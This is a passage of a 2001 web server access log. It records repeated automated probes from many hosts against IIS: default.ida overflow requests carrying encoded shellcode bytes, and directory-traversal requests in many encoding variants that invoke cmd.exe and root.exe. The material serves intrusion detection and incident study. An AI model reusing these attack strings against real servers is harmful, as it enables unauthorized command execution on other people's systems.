  9332. 20010919 07:03:30: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  9333. 20010919 07:08:06: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  9334. 20010919 07:11:16: sql-server.jrn.columbia.edu [128.59.96.106] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  9335. 20010919 07:11:16: sql-server.jrn.columbia.edu [128.59.96.106] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9336. 20010919 07:11:16: sql-server.jrn.columbia.edu [128.59.96.106] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9337. 20010919 07:11:16: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9338. 20010919 07:11:16: sql-server.jrn.columbia.edu [128.59.96.106] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9339. 20010919 07:11:16: sql-server.jrn.columbia.edu [128.59.96.106] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9340. 20010919 07:11:16: sql-server.jrn.columbia.edu [128.59.96.106] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9341. 20010919 07:11:16: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9342. 20010919 07:11:16: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9343. 20010919 07:11:16: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9344. 20010919 07:11:16: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9345. 20010919 07:11:16: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9346. 20010919 07:11:16: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9347. 20010919 07:11:17: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9348. 20010919 07:11:17: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9349. 20010919 07:11:17:  [204.250.115.130] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  9350. 20010919 07:11:38: pmc.lehigh.edu [128.180.13.50] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  9351. 20010919 07:23:05: pmc.lehigh.edu [128.180.13.50] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  9352. 20010919 07:23:05: pmc.lehigh.edu [128.180.13.50] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9353. 20010919 07:23:05: pmc.lehigh.edu [128.180.13.50] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9354. 20010919 07:23:05: pmc.lehigh.edu [128.180.13.50] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9355. 20010919 07:23:05: pmc.lehigh.edu [128.180.13.50] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9356. 20010919 07:23:05: pmc.lehigh.edu [128.180.13.50] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9357. 20010919 07:23:05: pmc.lehigh.edu [128.180.13.50] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9358. 20010919 07:23:06: pmc.lehigh.edu [128.180.13.50] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9359. 20010919 07:23:06: pmc.lehigh.edu [128.180.13.50] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9360. 20010919 07:23:06: pmc.lehigh.edu [128.180.13.50] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9361. 20010919 07:23:06: pmc.lehigh.edu [128.180.13.50] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9362. 20010919 07:23:06: pmc.lehigh.edu [128.180.13.50] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9363. 20010919 07:23:06: pmc.lehigh.edu [128.180.13.50] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9364. 20010919 07:23:06: pmc.lehigh.edu [128.180.13.50] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9365. 20010919 07:23:07: pmc.lehigh.edu [128.180.13.50] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9366. 20010919 07:23:07: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  9367. 20010919 07:26:05: sql-server.jrn.columbia.edu [128.59.96.106] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  9368. 20010919 07:26:05: sql-server.jrn.columbia.edu [128.59.96.106] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9369. 20010919 07:26:06: sql-server.jrn.columbia.edu [128.59.96.106] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9370. 20010919 07:26:06: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9371. 20010919 07:26:06: sql-server.jrn.columbia.edu [128.59.96.106] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9372. 20010919 07:26:06: sql-server.jrn.columbia.edu [128.59.96.106] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9373. 20010919 07:26:06: sql-server.jrn.columbia.edu [128.59.96.106] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9374. 20010919 07:26:06: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9375. 20010919 07:26:06: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9376. 20010919 07:26:06: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9377. 20010919 07:26:06: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9378. 20010919 07:26:07: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9379. 20010919 07:26:07: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9380. 20010919 07:26:07: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9381. 20010919 07:26:07: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9382. 20010919 07:26:07: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  9383. 20010919 07:26:37: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  9384. 20010919 07:26:37: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9385. 20010919 07:26:37: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9386. 20010919 07:26:37: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9387. 20010919 07:26:37: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9388. 20010919 07:26:38: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9389. 20010919 07:26:38: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9390. 20010919 07:26:38: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9391. 20010919 07:26:38: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9392. 20010919 07:26:39: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9393. 20010919 07:26:39: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9394. 20010919 07:26:39: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9395. 20010919 07:26:39: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9396. 20010919 07:26:39: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9397. 20010919 07:26:39: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9398. 20010919 07:26:39: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  9399. 20010919 07:27:58: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  9400. 20010919 07:30:41: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  9401. 20010919 07:31:37: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  9402. 20010919 07:39:47: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  9403. 20010919 07:39:47: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9404. 20010919 07:39:47: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9405. 20010919 07:39:47: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9406. 20010919 07:39:47: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9407. 20010919 07:39:47: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9408. 20010919 07:39:47: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9409. 20010919 07:39:47: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9410. 20010919 07:39:49: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9411. 20010919 07:39:49: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9412. 20010919 07:39:49: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9413. 20010919 07:39:49: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9414. 20010919 07:39:50: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9415. 20010919 07:39:50: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9416. 20010919 07:39:50: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9417. 20010919 07:39:50: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  9418. 20010919 07:40:23: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  9419. 20010919 07:43:47: themelis2.hksm.columbia.edu [128.59.236.73] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  9420. 20010919 07:43:47: themelis2.hksm.columbia.edu [128.59.236.73] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9421. 20010919 07:43:47: themelis2.hksm.columbia.edu [128.59.236.73] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9422. 20010919 07:43:47: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9423. 20010919 07:43:47: themelis2.hksm.columbia.edu [128.59.236.73] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9424. 20010919 07:43:48: themelis2.hksm.columbia.edu [128.59.236.73] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9425. 20010919 07:43:48: themelis2.hksm.columbia.edu [128.59.236.73] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9426. 20010919 07:43:48: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9427. 20010919 07:43:48: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9428. 20010919 07:43:48: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9429. 20010919 07:43:48: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9430. 20010919 07:43:48: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9431. 20010919 07:43:48: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9432. 20010919 07:43:49: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9433. 20010919 07:43:49: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9434. 20010919 07:43:49:  [63.83.98.226] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  9435. 20010919 07:44:25:  [63.83.98.226] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  9436. 20010919 07:44:44:  [63.83.98.226] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9437. 20010919 07:45:02: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  9438. 20010919 07:48:41: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  9439. 20010919 07:52:11: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  9440. 20010919 07:54:35: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  9441. 20010919 07:56:48: themelis2.hksm.columbia.edu [128.59.236.73] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  9442. 20010919 07:56:48: themelis2.hksm.columbia.edu [128.59.236.73] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9443. 20010919 07:56:48: themelis2.hksm.columbia.edu [128.59.236.73] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9444. 20010919 07:56:48: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9445. 20010919 07:56:48: themelis2.hksm.columbia.edu [128.59.236.73] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9446. 20010919 07:56:48: themelis2.hksm.columbia.edu [128.59.236.73] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9447. 20010919 07:56:48: themelis2.hksm.columbia.edu [128.59.236.73] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9448. 20010919 07:56:48: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9449. 20010919 07:56:48: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9450. 20010919 07:56:48: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9451. 20010919 07:56:49: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9452. 20010919 07:56:50: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9453. 20010919 07:56:50: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9454. 20010919 07:56:50: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9455. 20010919 07:56:50: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9456. 20010919 07:56:50: yeonwoo.co.kr [211.219.153.19] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  9457. 20010919 08:02:16: yeonwoo.co.kr [211.219.153.19] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  9458. 20010919 08:02:17: yeonwoo.co.kr [211.219.153.19] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9459. 20010919 08:02:17: yeonwoo.co.kr [211.219.153.19] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9460. 20010919 08:02:18: yeonwoo.co.kr [211.219.153.19] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9461. 20010919 08:02:18: yeonwoo.co.kr [211.219.153.19] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9462. 20010919 08:02:19: yeonwoo.co.kr [211.219.153.19] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9463. 20010919 08:02:19: yeonwoo.co.kr [211.219.153.19] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9464. 20010919 08:02:20: yeonwoo.co.kr [211.219.153.19] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9465. 20010919 08:02:21: yeonwoo.co.kr [211.219.153.19] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9466. 20010919 08:02:21: yeonwoo.co.kr [211.219.153.19] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9467. 20010919 08:02:22: yeonwoo.co.kr [211.219.153.19] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9468. 20010919 08:02:22: yeonwoo.co.kr [211.219.153.19] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9469. 20010919 08:02:23: yeonwoo.co.kr [211.219.153.19] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9470. 20010919 08:02:23: yeonwoo.co.kr [211.219.153.19] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9471. 20010919 08:02:24: yeonwoo.co.kr [211.219.153.19] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9472. 20010919 08:02:25: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  9473. 20010919 08:03:44: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  9474. 20010919 08:03:44: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9475. 20010919 08:03:44: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9476. 20010919 08:03:44: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9477. 20010919 08:03:44: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9478. 20010919 08:03:44: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9479. 20010919 08:03:44: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9480. 20010919 08:03:44: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9481. 20010919 08:03:44: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9482. 20010919 08:03:44: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9483. 20010919 08:03:44: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
